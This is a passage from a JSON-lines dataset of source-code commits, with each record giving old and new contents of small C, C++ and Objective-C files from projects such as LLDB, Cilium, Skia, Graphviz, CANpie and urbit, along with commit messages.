build\n","lang":"C","license":"bsd-3-clause","repos":"chandler14362\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,tobspr\/panda3d,tobspr\/panda3d,grimfang\/panda3d,grimfang\/panda3d,tobspr\/panda3d,chandler14362\/panda3d,tobspr\/panda3d,tobspr\/panda3d,grimfang\/panda3d,tobspr\/panda3d,chandler14362\/panda3d,grimfang\/panda3d,grimfang\/panda3d,grimfang\/panda3d,grimfang\/panda3d,tobspr\/panda3d,grimfang\/panda3d,chandler14362\/panda3d,tobspr\/panda3d,chandler14362\/panda3d,tobspr\/panda3d,grimfang\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,tobspr\/panda3d,chandler14362\/panda3d,grimfang\/panda3d"}
{"commit":"c960766f51d6ad7069f2ef0084f2f31fbdf20365","old_file":"igor\/parser\/DEIgorParserException.h","new_file":"igor\/parser\/DEIgorParserException.h","old_contents":"@interface DEIgorParserException : NSObject\n\n+ (NSException *)exceptionWithReason:(NSString *)reason scanner:(NSScanner *)scanner;\n\n@end\n","new_contents":"@interface DEIgorParserException : NSException\n\n+ (NSException *)exceptionWithReason:(NSString *)reason scanner:(NSScanner *)scanner;\n\n@end\n","subject":"Make Igor parser exception extend NSParserException","message":"Make Igor parser exception extend NSParserException\n","lang":"C","license":"mit","repos":"dhemery\/igor,dhemery\/igor,dhemery\/igor"}
{"commit":"dabdca497602225931441dec89a5d557659ebef1","old_file":"tests\/mpich-example.c","new_file":"tests\/mpich-example.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <mpi.h>\n\nint\nmain (int argc, char *argv[])\n{\n  int rank, size, length;\n  char name[BUFSIZ];\n\n  MPI_Init (&argc, &argv);\n  MPI_Comm_rank (MPI_COMM_WORLD, &rank);\n  MPI_Comm_size (MPI_COMM_WORLD, &size);\n  MPI_Get_processor_name (name, &length);\n\n  printf (\"%s: hello world from process %d of %d\\n\", name, rank, size);\n\n  MPI_Finalize ();\n\n  return EXIT_SUCCESS;\n}\n","subject":"Add missing file for the MPI test.","message":"Add missing file for the MPI test.\n\ngit-svn-id: 71c8032c709790ec749031c4215f8515ac00dc5a@27337 70bd8c7a-acb8-0310-9f0d-9cc1c95dcdbb\n","lang":"C","license":"mit","repos":"falsifian\/personal_nixos,falsifian\/personal_nixos,falsifian\/personal_nixos,falsifian\/personal_nixos,falsifian\/personal_nixos"}
{"commit":"a302b82b8de5a2427baec8257b023fb65f9cd607","old_file":"test\/functionalities\/process_attach\/main.c","new_file":"test\/functionalities\/process_attach\/main.c","old_contents":"#include <stdio.h>\n#include <unistd.h>\n\nint main(int argc, char const *argv[]) {\n    \/\/ Waiting to be attached by the debugger.\n    int temp = 0;\n    while (temp < 30) \/\/ Waiting to be attached...\n    {\n        sleep(1);\n        temp++;\n    }\n\n    printf(\"Exiting now\\n\");\n}\n","new_contents":"#include <stdio.h>\n#include <unistd.h>\n\n#if defined(__linux__)\n#include <sys\/prctl.h>\n#endif\n\nint main(int argc, char const *argv[]) {\n    int temp;\n#if defined(__linux__)\n    \/\/ Immediately enable any ptracer so that we can allow the stub attach\n    \/\/ operation to succeed.  Some Linux kernels are locked down so that\n    \/\/ only an ancestor process can be a ptracer of a process.  This disables that\n    \/\/ restriction.  Without it, attach-related stub tests will fail.\n#if defined(PR_SET_PTRACER) && defined(PR_SET_PTRACER_ANY)\n    int prctl_result;\n\n    \/\/ For now we execute on best effort basis.  If this fails for\n    \/\/ some reason, so be it.\n    prctl_result = prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY, 0, 0, 0);\n    (void) prctl_result;\n#endif\n#endif\n\n    \/\/ Waiting to be attached by the debugger.\n    temp = 0;\n\n    while (temp < 30) \/\/ Waiting to be attached...\n    {\n        sleep(1);\n        temp++;\n    }\n\n    printf(\"Exiting now\\n\");\n}\n","subject":"Fix TestProcessAttach for Linux ptracer lock-down and llgs-local.","message":"Fix TestProcessAttach for Linux ptracer lock-down and llgs-local.\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@220660 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,llvm-mirror\/lldb"}
{"commit":"023e066734f60dc9f8153d5f34b6d122c94ad83a","old_file":"lib\/vpsc\/block.h","new_file":"lib\/vpsc\/block.h","old_contents":"","new_contents":"\/**\n * \\brief A block is a group of variables that must be moved together to improve\n * the goal function without violating already active constraints.\n * The variables in a block are spanned by a tree of active constraints.\n *\n * Authors:\n *   Tim Dwyer <tgdwyer@gmail.com>\n *\n * Copyright (C) 2005 Authors\n *\n * This version is released under the CPL (Common Public License) with\n * the Graphviz distribution.\n * A version is also available under the LGPL as part of the Adaptagrams\n * project: http:\/\/sourceforge.net\/projects\/adaptagrams.  \n * If you make improvements or bug fixes to this code it would be much\n * appreciated if you could also contribute those changes back to the\n * Adaptagrams repository.\n *\/\n\n#ifndef SEEN_REMOVEOVERLAP_BLOCK_H\n#define SEEN_REMOVEOVERLAP_BLOCK_H\n\n#include <vector>\n#include <iostream>\nclass Variable;\nclass Constraint;\ntemplate <class T> class PairingHeap;\nclass StupidPriorityQueue;\n\nclass Block\n{\n\tfriend std::ostream& operator <<(std::ostream &os,const Block &b);\npublic:\n\tstd::vector<Variable*> *vars;\n\tdouble posn;\n\tdouble weight;\n\tdouble wposn;\n\tBlock(Variable *v=NULL);\n\t~Block(void);\n\tConstraint* findMinLM();\n\tConstraint* findMinLMBetween(Variable* lv, Variable* rv);\n\tConstraint* findMinInConstraint();\n\tConstraint* findMinOutConstraint();\n\tvoid deleteMinInConstraint();\n\tvoid deleteMinOutConstraint();\n\tdouble desiredWeightedPosition();\n\tvoid merge(Block *b, Constraint *c, double dist);\n\tvoid merge(Block *b, Constraint *c);\n\tvoid mergeIn(Block *b);\n\tvoid mergeOut(Block *b);\n\tvoid split(Block *&l, Block *&r, Constraint *c);\n\tConstraint* splitBetween(Variable* vl, Variable* vr, Block* &lb, Block* &rb);\n\tvoid setUpInConstraints();\n\tvoid setUpOutConstraints();\n\tdouble cost();\n\tbool deleted;\n\tlong timeStamp;\n\tPairingHeap<Constraint*> *in;\n\tPairingHeap<Constraint*> *out;\nprivate:\n\ttypedef enum {NONE, LEFT, RIGHT} Direction;\n\ttypedef std::pair<double, Constraint*> Pair;\n\tvoid reset_active_lm(Variable *v, Variable *u);\n\tdouble compute_dfdv(Variable *v, Variable *u, Constraint *&min_lm);\n\tPair compute_dfdv_between(\n\t\t\tVariable*, Variable*, Variable*, Direction, bool);\n\tbool canFollowLeft(Constraint *c, Variable *last);\n\tbool canFollowRight(Constraint *c, Variable *last);\n\tvoid populateSplitBlock(Block *b, Variable *v, Variable *u);\n\tvoid addVariable(Variable *v);\n\tvoid setUpConstraintHeap(PairingHeap<Constraint*>* &h,bool in);\n};\n\n#endif \/\/ SEEN_REMOVEOVERLAP_BLOCK_H\n","subject":"Add the vpsc library for IPSEPCOLA features","message":"Add the vpsc library for IPSEPCOLA features\n","lang":"C","license":"epl-1.0","repos":"jho1965us\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,ellson\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,tkelman\/graphviz,kbrock\/graphviz,kbrock\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,kbrock\/graphviz,tkelman\/graphviz,ellson\/graphviz,ellson\/graphviz,pixelglow\/graphviz,BMJHayward\/graphviz,tkelman\/graphviz,ellson\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,pixelglow\/graphviz,pixelglow\/graphviz,ellson\/graphviz,kbrock\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,ellson\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,tkelman\/graphviz,ellson\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,pixelglow\/graphviz,kbrock\/graphviz,MjAbuz\/graphviz,BMJHayward\/graphviz,MjAbuz\/graphviz,tkelman\/graphviz,MjAbuz\/graphviz,ellson\/graphviz,kbrock\/graphviz,BMJHayward\/graphviz,BMJHayward\/graphviz,ellson\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,jho1965us\/graphviz,MjAbuz\/graphviz,jho1965us\/graphviz"}
{"commit":"e88be22a0b19d365c3c20d45b50da8af88fd6960","old_file":"static_ar_param.c","new_file":"static_ar_param.c","old_contents":"int f(int x[static volatile \/*const*\/ 10])\n{\n\treturn *++x;\n}\n\nmain()\n{\n\tint x[5];\n\tx[1] = 2;\n\tf(x);\n\t\/\/int y[1];\n\t\/\/int *y;\n\t\/\/#define y (void *)0\n\t\/\/pipe(y);\n}\n","new_contents":"int f(int x[static \/*const*\/ 10])\n{\n\treturn *++x;\n}\n\nmain()\n{\n\tint x[5];\n\tx[1] = 2;\n\tf(x);\n\t\/\/int y[1];\n\t\/\/int *y;\n\t\/\/#define y (void *)0\n\t\/\/pipe(y);\n}\n","subject":"Remove volatile from test (decl_equal doesn't check properly for now)","message":"Remove volatile from test (decl_equal doesn't check properly for now)\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"68772ba85b158325b82743a9df55d583cc547c48","old_file":"bpf\/netdev_config.h","new_file":"bpf\/netdev_config.h","old_contents":"\/* SPDX-License-Identifier: GPL-2.0 *\/\n\/* Copyright (C) 2016-2020 Authors of Cilium *\/\n\n\/*\n * This is just a dummy header with dummy values to allow for test\n * compilation without the full code generation engine backend.\n *\/\n#define DROP_NOTIFY\n#ifndef SKIP_DEBUG\n#define DEBUG\n#endif\n#define ENCAP_IFINDEX 1\n#define SECLABEL 2\n#define SECLABEL_NB 0xfffff\n","new_contents":"\/* SPDX-License-Identifier: GPL-2.0 *\/\n\/* Copyright (C) 2016-2020 Authors of Cilium *\/\n\n\/*\n * This is just a dummy header with dummy values to allow for test\n * compilation without the full code generation engine backend.\n *\/\n#define DROP_NOTIFY\n#ifndef SKIP_DEBUG\n#define DEBUG\n#endif\n#define ENCAP_IFINDEX 1\n#define SECLABEL 2\n#define SECLABEL_NB 0xfffff\n#define CALLS_MAP test_cilium_calls_65535\n","subject":"Replace CALLS_MAP symbol in compile-tested binaries","message":"bpf: Replace CALLS_MAP symbol in compile-tested binaries\n\nBecause we don't define CALLS_MAP for several programs, the binaries end\nup with 'CALLS_MAP' as the actual map name:\n\n    $ for f in $(ls bpf\/*.o); do ( readelf -s $f | grep -q CALLS_MAP ) && echo $f; done\n    bpf\/bpf_alignchecker.o\n    bpf\/bpf_network.o\n    bpf\/bpf_overlay.o\n    bpf\/bpf_xdp.o\n\nThat can lead to warnings when trying to load the programs with\ntest\/bpf\/verifier-test.sh. This commit fixes it.\n\n    $ for f in $(ls bpf\/*.o); do ( readelf -s $f | grep -q CALLS_MAP ) && echo $f; done\n    bpf\/bpf_alignchecker.o\n\nSigned-off-by: Paul Chaignon <a027184a55211cd23e3f3094f1fdc728df5e0500@cilium.io>\n","lang":"C","license":"apache-2.0","repos":"cilium\/cilium,michi-covalent\/cilium,tgraf\/cilium,tgraf\/cilium,cilium\/cilium,michi-covalent\/cilium,tklauser\/cilium,tgraf\/cilium,michi-covalent\/cilium,tklauser\/cilium,cilium\/cilium,tklauser\/cilium,cilium\/cilium,michi-covalent\/cilium,tgraf\/cilium,tgraf\/cilium,tgraf\/cilium,cilium\/cilium,tklauser\/cilium,michi-covalent\/cilium,tklauser\/cilium"}
{"commit":"f7c7267e99a50ece23ff4db05e6fdb5aead0fdbe","old_file":"test\/cpp-raw\/os.h","new_file":"test\/cpp-raw\/os.h","old_contents":"\n#define INTERCOM_FLATTEN_DECLARATIONS\n#include <intercom.h>\n#include \"..\/..\/intercom-cpp\/src\/msdef.h\"\n\n\n\/\/ Interface definitions.\n#ifdef _MSC_VER\n#include \"msvc\/import.h\"\n#endif\n\n\/\/ Platform specific runtime initialization.\nvoid InitializeRuntime();\n\n\/\/ Platform specific runtime uninitialization.\nvoid UninitializeRuntime();\n\n\/\/ Create Intercom object instance.\nHRESULT CreateInstance( REFCLSID clsid, REFIID iid, void** pout );\n\n\/\/ Create Intercom object instance.\ntemplate <class TInterface>\nHRESULT CreateInstance( REFCLSID clsid, REFIID iid, TInterface** pout )\n{\n\treturn CreateInstance( clsid, iid, reinterpret_cast< void** >( pout ) );\n}\n","new_contents":"\n\/\/ Interface definitions.\n#ifdef _MSC_VER\n#include \"msvc\/import.h\"\n#else\n\n\/\/ Include declarations on non-Windows platforms.\n#define INTERCOM_FLATTEN_DECLARATIONS\n#include <intercom.h>\n#include \"..\/..\/intercom-cpp\/src\/msdef.h\"\n\n#endif\n\n\/\/ Platform specific runtime initialization.\nvoid InitializeRuntime();\n\n\/\/ Platform specific runtime uninitialization.\nvoid UninitializeRuntime();\n\n\/\/ Create Intercom object instance.\nHRESULT CreateInstance( REFCLSID clsid, REFIID iid, void** pout );\n\n\/\/ Create Intercom object instance.\ntemplate <class TInterface>\nHRESULT CreateInstance( REFCLSID clsid, REFIID iid, TInterface** pout )\n{\n\treturn CreateInstance( clsid, iid, reinterpret_cast< void** >( pout ) );\n}\n","subject":"Include specific declarations only on ńon-Windows platform","message":"Include specific declarations only on ńon-Windows platform\n\nThe \"intercom.h\" is not currently visible on Windows build chain.\n","lang":"C","license":"mit","repos":"Rantanen\/com-export-rs,Rantanen\/com-export-rs,Rantanen\/com-export-rs,Rantanen\/com-export-rs"}
{"commit":"a9f39225c5502b7d8948dc195292db80a5814834","old_file":"src\/ent.c","new_file":"src\/ent.c","old_contents":"#include <ent\/ent.h>\n\n#if defined __OPENBSD__ || (defined __linux__ && defined _DEFAULT_SOURCE)\n# include <unistd.h>\n# define getentropy_impl getentropy\n#elif defined __APPLE__ && defined __MACH__\n# include <sys\/random.h>\n# define getentropy_impl getentropy\n#else\n# error \"Port: getentropy unimplemented\"\n#endif\n\nint\nent_getentropy(void *buf, size_t buflen)\n{\n  return getentropy_impl(buf, buflen);\n}\n","new_contents":"#include <ent\/ent.h>\n\n#if defined __OPENBSD__ || (defined __linux__ && defined _DEFAULT_SOURCE)\n# include <unistd.h>\n# define getentropy_impl getentropy\n#elif defined __APPLE__ && defined __MACH__\n# include <unistd.h>\n# include <sys\/random.h>\n# define getentropy_impl getentropy\n#else\n# error \"Port: getentropy unimplemented\"\n#endif\n\nint\nent_getentropy(void *buf, size_t buflen)\n{\n  return getentropy_impl(buf, buflen);\n}\n","subject":"Fix build on OS X","message":"Fix build on OS X\n","lang":"C","license":"mit","repos":"jfranklin9000\/urbit,urbit\/urbit,ngzax\/urbit,ngzax\/urbit,ngzax\/urbit,jfranklin9000\/urbit,urbit\/urbit,urbit\/urbit,jfranklin9000\/urbit,urbit\/urbit,ngzax\/urbit,ngzax\/urbit,jfranklin9000\/urbit,jfranklin9000\/urbit,urbit\/urbit,urbit\/urbit,jfranklin9000\/urbit,ngzax\/urbit,urbit\/urbit,ngzax\/urbit,jfranklin9000\/urbit"}
{"commit":"facd3c72a46b2a62ec347a1527583abc2bd529ab","old_file":"block.h","new_file":"block.h","old_contents":"#ifndef BLOCK_PAGE_SIZE\n# define BLOCK_PAGE_SIZE 65536\n#endif\n\n#include <stddef.h>\n\nstruct block {\n    void **pages;\n    size_t *offsets;\n    size_t count;\n    size_t size;\n};\n\nstruct block *block_new(void);\n\nvoid block_free(struct block*);\n\nvoid *block_alloc(struct block*, size_t bytes);\n","new_contents":"#ifndef BLOCK_PAGE_SIZE\n# define BLOCK_PAGE_SIZE 4096\n#endif\n\n#include <stddef.h>\n\nstruct block {\n    void **pages;\n    size_t *offsets;\n    size_t count;\n    size_t size;\n};\n\nstruct block *block_new(void);\n\nvoid block_free(struct block*);\n\nvoid *block_alloc(struct block*, size_t bytes);\n","subject":"Use 4KB as the default page size","message":"Use 4KB as the default page size\n","lang":"C","license":"mit","repos":"chriso\/intern"}
{"commit":"3879da46920abe21c07fa073a31713086c898a7d","old_file":"source\/examples\/demo_buffer_fifo.c","new_file":"source\/examples\/demo_buffer_fifo.c","old_contents":"","new_contents":"\/\/============================================================================\/\/\n\/\/ File:          demo_buffer_fifo.c                                          \/\/\n\/\/ Description:   Example for CANpie FIFO configuration                       \/\/\n\/\/                                                                            \/\/\n\/\/ Copyright (C) MicroControl GmbH & Co. KG                                   \/\/\n\/\/ 53844 Troisdorf - Germany                                                  \/\/\n\/\/ www.microcontrol.net                                                       \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ Redistribution and use in source and binary forms, with or without         \/\/\n\/\/ modification, are permitted provided that the following conditions         \/\/\n\/\/ are met:                                                                   \/\/\n\/\/ 1. Redistributions of source code must retain the above copyright          \/\/\n\/\/    notice, this list of conditions, the following disclaimer and           \/\/\n\/\/    the referenced file 'LICENSE'.                                          \/\/\n\/\/ 2. Redistributions in binary form must reproduce the above copyright       \/\/\n\/\/    notice, this list of conditions and the following disclaimer in the     \/\/\n\/\/    documentation and\/or other materials provided with the distribution.    \/\/\n\/\/ 3. Neither the name of MicroControl nor the names of its contributors      \/\/\n\/\/    may be used to endorse or promote products derived from this software   \/\/\n\/\/    without specific prior written permission.                              \/\/\n\/\/                                                                            \/\/\n\/\/ Provided that this notice is retained in full, this software may be        \/\/\n\/\/ distributed under the terms of the GNU Lesser General Public License       \/\/\n\/\/ (\"LGPL\") version 3 as distributed in the 'LICENSE' file.                   \/\/\n\/\/                                                                            \/\/\n\/\/============================================================================\/\/\n\n\n#include \"cp_core.h\"\n#include \"cp_msg.h\"\n\n\n#define  FIFO_RCV_SIZE  32\n\nstatic CpFifo_ts        tsFifoRcvS;\nstatic CpCanMsg_ts      atsCanMsgRcvS[FIFO_RCV_SIZE];\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ DemoFifoConfig()                                                           \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid DemoFifoConfig(CpPort_ts * ptsCanPortV)\n{\n   \/\/------------------------------------------------------\n   \/\/ set message buffer 2 as receive buffer for classic\n   \/\/ CAN frame with identifier 180h .. 18Fh\n   \/\/\n   CpCoreBufferConfig(ptsCanPortV, eCP_BUFFER_2,\n                      (uint32_t) 0x180,\n                      (uint32_t) 0x7F0,   \/\/ mask\n                      CP_MSG_FORMAT_CBFF,\n                      eCP_BUFFER_DIR_RCV);\n\n   CpFifoInit(&tsFifoRcvS, &atsCanMsgRcvS[0], FIFO_RCV_SIZE); \n   CpCoreFifoConfig(ptsCanPortV, eCP_BUFFER_2, &tsFifoRcvS);\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\n\/\/ DemoFifoRead()                                                             \/\/\n\/\/                                                                            \/\/\n\/\/----------------------------------------------------------------------------\/\/\nvoid DemoFifoRead(CpPort_ts * ptsCanPortV)\n{\n   CpCanMsg_ts  tsCanMsgReadT;\n   uint32_t     ulMsgCntT;\n   \/\/------------------------------------------------------\n   \/\/ try to read one CAN message\n   \/\/\n   ulMsgCntT = 1;\n   CpCoreFifoRead(ptsCanPortV, eCP_BUFFER_2,\n                  &tsCanMsgReadT,\n                  &ulMsgCntT);\n}\n","subject":"Add example code for FIFO","message":"Add example code for FIFO","lang":"C","license":"apache-2.0","repos":"JoTid\/CANpie,canpie\/CANpie,canpie\/CANpie,JoTid\/CANpie,canpie\/CANpie,JoTid\/CANpie"}
{"commit":"70143e0f9e65543b4fef71a67bacc53ae25f57e2","old_file":"SouqTask\/Application\/SouqTask-Bridging-Header.h","new_file":"SouqTask\/Application\/SouqTask-Bridging-Header.h","old_contents":"","new_contents":"\/\/\n\/\/  SouqTask-Bridging-Header.h\n\/\/  SouqTask\n\/\/\n\/\/  Created by Ma'moun Diraneyya on 3\/4\/16.\n\/\/  Copyright © 2016 Mamouneyya. All rights reserved.\n\/\/\n\/\/  NOTE This workaround is used to import important libraries everywhere in the app\n\/\/  REF http:\/\/stackoverflow.com\/questions\/26408612\/implicitly-import-specific-swift-module\n\/\/\n\n@import Alamofire;\n@import AlamofireImage;\n@import ObjectMapper;\n@import SwiftyUserDefaults;\n","subject":"Create a bridging header so we can import important libraries implicitly.","message":"Create a bridging header so we can import important libraries implicitly.\n","lang":"C","license":"mit","repos":"mamouneyya\/TheSkillsProof,mamouneyya\/TheSkillsProof"}
{"commit":"ce976a1d0bfd1679fd9eef466f993216e88dc7e5","old_file":"ann.c","new_file":"ann.c","old_contents":"#include <stdio.h>\n\n#define INPUTS 3\n#define HIDDEN 5\n#define OUTPUTS 2\n#define ROWS 5\n\ntypedef struct {\n    double input[HIDDEN][INPUTS];\n    double hidden[ROWS - 3][HIDDEN][HIDDEN];\n    double output[OUTPUTS][HIDDEN];\n} Links;\n\ntypedef struct {\n    int input[INPUTS];\n    int hidden[HIDDEN];\n    int output[OUTPUTS];\n} Neurons;\n\ntypedef struct {\n    Links weights;\n    Neurons values;\n} ANN;\n\nint main(void)\n{\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#define INPUTS 3\n#define HIDDEN 5\n#define OUTPUTS 2\n#define ROWS 5\n\ntypedef struct {\n    double input[HIDDEN][INPUTS];\n    double hidden[ROWS - 3][HIDDEN][HIDDEN];\n    double output[OUTPUTS][HIDDEN];\n} Links;\n\ntypedef struct {\n    int input[INPUTS];\n    int hidden[ROWS - 3][HIDDEN];\n    int output[OUTPUTS];\n} Neurons;\n\ntypedef struct {\n    Links weights;\n    Neurons values;\n} ANN;\n\nint main(void)\n{\n    return 0;\n}\n","subject":"Fix Neurons struct so that hidden is 2D","message":"Fix Neurons struct so that hidden is 2D\n","lang":"C","license":"mit","repos":"tysonzero\/c-ann"}
{"commit":"169dc7b8de2f347edb54ce9007cfbf1c551be33a","old_file":"Settings\/Display.h","new_file":"Settings\/Display.h","old_contents":"#pragma once\n\n#include \"Tab.h\"\n\nclass Display : public Tab {\npublic:\n    virtual void SaveSettings();\n\nprivate:\n    virtual DLGPROC Command(unsigned short nCode, unsigned short ctrlId);\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\n    virtual void Initialize();\n    virtual void LoadSettings();\n\n    void OnPositionChanged();\n    void OnCustomCheckChanged();\n    void OnAnimationChanged();\n\nprivate:\n    \/* Controls: *\/\n    Checkbox _onTop;\n    Checkbox _hideFullscreen;\n\n    ComboBox _position;\n    Label _customX;\n    EditBox _positionX;\n    Label _customY;\n    EditBox _positionY;\n    Checkbox _customDistance;\n    Spinner _edgeSpinner;\n    Label _displayDevLabel;\n    ComboBox _displayDevice;\n\n    ComboBox _animation;\n    Label _hideDelayLabel;\n    Spinner _hideDelay;\n    Label _hideSpeedLabel;\n    Spinner _hideSpeed;\n\n\nprivate:\n    \/* Constants: *\/\n    const int MIN_EDGE = -65535;\n    const int MAX_EDGE = 65535;\n    const int MIN_MS = USER_TIMER_MINIMUM;\n    const int MAX_MS = 60000;\n};","new_contents":"#pragma once\n\n#include \"Tab.h\"\n\nclass Display : public Tab {\npublic:\n    virtual void SaveSettings();\n\nprivate:\n    virtual DLGPROC Command(unsigned short nCode, unsigned short ctrlId);\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\n    virtual void Initialize();\n    virtual void LoadSettings();\n\n    void OnPositionChanged();\n    void OnCustomCheckChanged();\n    void OnAnimationChanged();\n\nprivate:\n    \/* Controls: *\/\n    Checkbox _onTop;\n    Checkbox _hideFullscreen;\n\n    ComboBox _position;\n    Label _customX;\n    EditBox _positionX;\n    Label _customY;\n    EditBox _positionY;\n    Checkbox _customDistance;\n    Spinner _edgeSpinner;\n    Label _displayDevLabel;\n    ComboBox _displayDevice;\n\n    ComboBox _animation;\n    Label _hideDelayLabel;\n    Spinner _hideDelay;\n    Label _hideSpeedLabel;\n    Spinner _hideSpeed;\n\nprivate:\n    \/* Strings: *\/\n    std::wstring primaryMonitorStr = L\"Primary Monitor\";\n    std::wstring allMonitorStr = L\"All Monitors\";\n    std::wstring customPositionStr = L\"Custom\";\n    std::wstring noAnimStr = L\"None\";\n\nprivate:\n    \/* Constants: *\/\n    const int MIN_EDGE = -65535;\n    const int MAX_EDGE = 65535;\n    const int MIN_MS = USER_TIMER_MINIMUM;\n    const int MAX_MS = 60000;\n};","subject":"Add strings (will be used for translation)","message":"Add strings (will be used for translation)\n","lang":"C","license":"bsd-2-clause","repos":"Soulflare3\/3RVX,malensek\/3RVX,malensek\/3RVX,malensek\/3RVX,Soulflare3\/3RVX,Soulflare3\/3RVX"}
{"commit":"280ced6bd1aebd62b1288b3b55f70fe1d00e3b2f","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 94\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 95\n#endif\n","subject":"Update Skia milestone to 95","message":"Update Skia milestone to 95\n\nChange-Id: I17a6adf5f14cfc160c13a2341453e9767ab39f0a\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/439158\nReviewed-by: Eric Boren <0e499112533c8544f0505ea0d08394fb5ad7d8fa@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"673ab60ceb8dbb42bebd52241178741a57f5f7a0","old_file":"main.c","new_file":"main.c","old_contents":"int main() {\n\tprintf(\"Hello World!\\n\");\n\treturn 0;\n}\n\n","new_contents":"#include <bwio.h>\n\nint main() {\n\tbwsetfifo(COM2, OFF);\n\tbwprintf(COM2, \"Hello World!\\n\");\n\treturn 0;\n}\n\n","subject":"Add Makefile, bwio lib, headers and compile script","message":"Add Makefile, bwio lib, headers and compile script\n","lang":"C","license":"mit","repos":"gregwym\/ARM-Micro-Kernel,gregwym\/ARM-Micro-Kernel,gregwym\/ARM-Micro-Kernel"}
{"commit":"204927c50f6ca2549092e422fe5377ae3aae1b63","old_file":"Files\/VelibModel.h","new_file":"Files\/VelibModel.h","old_contents":"\/\/\n\/\/  Velib.h\n\/\/  Bicyclette\n\/\/\n\/\/  Created by Nicolas on 09\/10\/10.\n\/\/  Copyright 2010 Nicolas Bouilleaud. All rights reserved.\n\/\/\n\n#import \"CoreDataManager.h\"\n\n#import <MapKit\/MapKit.h>\n\n#define kVelibStationsListURL\t\t@\"http:\/\/www.velib.paris.fr\/service\/carto\"\n#define kVelibStationsStatusURL\t\t@\"http:\/\/www.velib.paris.fr\/service\/stationdetails\/\"\n\n\/****************************************************************************\/\n#pragma mark -\n\n@class Station;\n@class DataUpdater;\n\n@interface VelibModel : CoreDataManager\n\n@property (nonatomic, retain, readonly) DataUpdater * updater;\n@property (readonly) BOOL updatingXML;\n\n@property (readonly, nonatomic) MKCoordinateRegion regionContainingData;\n\n@property (readonly, nonatomic, retain) CLRegion * hardcodedLimits;\n@end\n\n\n\/\/ reverse link to obtain the CoreDataManager from a moc, for example in the objects implementation.\n@interface NSManagedObjectContext (AssociatedModel)\n@property (nonatomic, retain, readonly) VelibModel * model;\n@end","new_contents":"\/\/\n\/\/  Velib.h\n\/\/  Bicyclette\n\/\/\n\/\/  Created by Nicolas on 09\/10\/10.\n\/\/  Copyright 2010 Nicolas Bouilleaud. All rights reserved.\n\/\/\n\n#import \"CoreDataManager.h\"\n\n#import <MapKit\/MapKit.h>\n\n#define kVelibStationsListURL\t\t@\"http:\/\/www.velib.paris.fr\/service\/carto\"\n#define kVelibStationsStatusURL\t\t@\"http:\/\/www.velib.paris.fr\/service\/stationdetails\/paris\/\"\n\n\/****************************************************************************\/\n#pragma mark -\n\n@class Station;\n@class DataUpdater;\n\n@interface VelibModel : CoreDataManager\n\n@property (nonatomic, retain, readonly) DataUpdater * updater;\n@property (readonly) BOOL updatingXML;\n\n@property (readonly, nonatomic) MKCoordinateRegion regionContainingData;\n\n@property (readonly, nonatomic, retain) CLRegion * hardcodedLimits;\n@end\n\n\n\/\/ reverse link to obtain the CoreDataManager from a moc, for example in the objects implementation.\n@interface NSManagedObjectContext (AssociatedModel)\n@property (nonatomic, retain, readonly) VelibModel * model;\n@end","subject":"Fix stations details request url (webservices were updated)","message":"Fix stations details request url (webservices were updated)\n","lang":"C","license":"bsd-2-clause","repos":"durvalrafael\/Bicyclette,n-b\/Bicyclette,durvalrafael\/Bicyclette,n-b\/Bicyclette"}
